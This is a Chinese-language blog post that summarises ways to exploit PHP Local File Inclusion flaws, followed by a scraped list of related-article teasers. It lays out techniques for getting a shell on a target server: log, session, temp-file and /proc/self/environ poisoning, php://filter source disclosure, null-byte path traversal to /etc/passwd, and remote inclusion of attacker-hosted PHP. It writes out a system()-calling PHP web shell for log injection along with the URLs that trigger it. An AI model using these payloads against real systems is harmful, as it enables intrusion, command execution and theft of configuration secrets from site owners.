LFI漏洞利用总结

主要涉及到的函数
include(),require()、include_once(),require_once()
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and max_input_time()等

典型漏洞代码:
<!–?php include($_GET[‘pages‘].‘.php’); ?–>

黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
本地包含漏洞的利用(这里先忽略截断问题)

1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。
2、包含系统的各种日志,如apache日志,文件系统日志等 其中apache当记录格式为combined,一般日志都会很大,基本无法包含成功。包含log是有自动化攻击程序的。
其中鬼子的博客中有提到一个空格的问题。见《邪恶的空格-PHP本地文件包含漏洞的新突破口》 解决空格问题其实把一句话base64加密后再写入就可以执行了。
3、包含/proc/self/environ . 这个环境变量有访问web的session信息和包含user-agent的参数。user-agent在客户端是可以修改的。参考:《Shell via LFI –proc/self/environ method//http://hi.baidu.com/root_exp/blog/item /9c0571fc2d42664fd7887d7d.html》
4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。
5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码如下
index.php?pages=php://filter/read=convert.base64-encode/resource=config
特别的情况用到readfile() 函数不是包含执行,可以直接读源码。
6、利用phpinfo页面getshell。一般大组织的web群存在phpinfo的机会挺大的。
poc和介绍参考《利用phpinfo信息LFI临时文件》//http://www.2cto.com/Article/201202/119213.html
7、利用包含出错,或者包含有未初始化变量的PHP文件,只要变量未初始化就可能再次攻击 具体见《include()本地文件包含漏洞随想》//http://www.2cto.com/Article/200809/29748.html
8、结合跨站使用  index.php?pages=http:// www.2cto.com /path/xss.php?xss=phpcode (要考虑域信任问题)
9、包含临时文件文件。这个方法很麻烦的。参考 《POST method uploads》//http://www.php.net/manual/en/features.file-upload.post-method.php
解决临时文件删除方法:慢连接 (注:前提是file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个)
windows格式:win下最长4个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)如:c:/windows/temp/php3e.tmp
linux格式:6个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA
慢连接的两种上传代码参考:《PHP安全之LFI漏洞GetShell方法大阅兵》//www.2cto.com/Article/201106/94414.html

10、当前实在找不到写权限目录时候,注入到log中再寻找写权限目录。如注入<?php $s=$_GET;@chdir($s[‘x‘]);echo @system($s[‘y‘])?>到log.
Linux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname
windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir
具体参考《PHP本地文件包含(LFI)漏洞利用》http://www.2cto.com/Article/201202/119214.html
11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0- and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date 这些url形式。
12、LFI判断目录是否存在和列目录,如
**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。
index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**FreeBSD 《directory listing with PHP file functions》http://websec.wordpress.com/2009 …php-file-functions/ 列目录
**存在逻辑判断的时候,如不存在该目录就会返回header.php+File not found+footer.php 存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。
13、包含SESSION文件,php保存格式sess_SESSIONID 默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、/var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
14、包含/proc/self/cmdline 或者/proc/self/fd/<fd number>找到log文件 (拥有者为root,默认情况要root才能访问)
具体参考Local File Inclusion – 《Tricks of the Trade》http://labs.neohapsis.com/2008/0 …ricks-of-the-trade/ 还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.
15、包含maillog 通常位置/var/log/maillog 这个方法也很鸡肋,具体参考《local file inclusion tricks 》http://devels-playground.blogspo …clusion-tricks.html
16、包含固定的文件,非常鸡肋,为了完整性也提下。如,可用中间人攻击。
<?php include(“http://172.0.0.1/code.php “); ?>

关于截断
(简单介绍下,谷歌下很多文章提到了)
截断要考虑两个问题magic_quotes_gpc()和PHP版本。

1、%00空字符截断,除了这个截断在php 5.3.4以下版本好用外,以下截断都是有条件的。
2、windows
Linux文件名大于4096字符被截断
Windows: 文件名大于256字符被截断
参考的文档很多就不一一列举了。这个文章希望能给大家遇到LFI的时候有点帮助
时间: 2024-10-23 12:12:25

LFI漏洞利用总结的相关文章

PHP文件包含漏洞利用

PHP文件包含漏洞利用 一.PHP配置在文件包含中的运用 文件包含漏洞即 当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell).而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分.allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LF

本地文件包含漏洞(LFI漏洞)

0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示.通过它我以四种不同的方式执行LFI攻击. 0x01 基本本地文件包含 在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack. 打开具有RFI和LFI漏

phpMyAdmin 4.8.x 本地文件包含漏洞利用

今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用. 在这篇文章中我们将使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用. VulnSpy 在线 phpMyAdmin 环境地址:http://www.vulnspy.com/phpmyadmin-4.8.1/ 漏洞细节 参照ChaMd5安全团队发布的文章:phpmya

Apache漏洞利用与安全加固实例分析

Apache 作为Web应用的载体,一旦出现安全问题,那么运行在其上的Web应用的安全也无法得到保障,所以,研究Apache的漏洞与安全性非常有意义.本文将结合实例来谈谈针对Apache的漏洞利用和安全加固措施. Apache HTTP Server(以下简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,是最流行的Web服务器软件之一.虽然近年来Nginx和Lighttpd等Web Server的市场份额增长得很快,但Apache仍然是这个领

Zabbix的前台SQL注射漏洞利用

今年8月份Map在wooyun上发了个Zabbix某前台SQL注射漏洞 ,11月份才公开. 漏洞详情大约是这样的: 在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果. 在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid. $itemid = $item['itemid']; 最后这个参数进到了SQL查询的过程 在同一个文件内的$period

《Look Mom, I don’t use Shellcode》议题解析&amp;IE11漏洞利用小议

0x0 前言 <Look Mom, I don't use Shellcode>是2016年Syscan360上讲过的一个议题,这个议题的副标题是"Browser Exploitation Case Study for Internet Explorer 11 ",可以看出内容是关于IE11浏览器中的漏洞利用的. 非常可惜我没有能够在现场听到这个议题,但是在会后拿到了演讲者的ppt研究了一下,这里写出来也是做一个分享. 0x01 正文 这是演讲者的PPT封面 演讲者介绍漏洞

ETERNALROMACE漏洞利用流程备录

NSA中Eternalromance模块为windows中针对SMB服务的漏洞利用工具,该工具针对CVE-2017-0145. SMB在处理SMB_COM_TRANSACTION命令的请求时,如果发送的内容超过最大长度,需要使用SMB_COM_TRANSACTION_SECONDARY命令请求发送之后的数据,如下图所示,通过该函数SMB_COM_TRANSACTION_SECONDARY才能获取对应的正确SMB_COM_TRANSACTION(主要通过判断两个包的PID,MID,TID和UID是

apt28组织新的flash漏洞利用包dealerschoice分析

17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的利用工具包,遂将样本下下来分析了一番. 和之前很多的flash漏洞利用不同,这次apt28将自身的漏洞利用工具作为ole的一部分捆绑到rtf文件中,运行结果如下,可以看到运行之后,直接显示的是一个word文档,内容是关于俄罗斯的,看来这次是要搞老毛子咯...... Rtf文件处理 直接通过offic

Fckeditor漏洞利用总结

Fckeditor漏洞利用总结  查看编辑器版本FCKeditor/_whatsnew.htmlFCKeditor/editor/dialog/fck_about.htmlFCKeditor/_samples/default.htmlaeditor/filemanager/browser/default/browser.html?Connector=../../connectors/cfm/connector.cfm editor/filemanager/connectors/asp/conne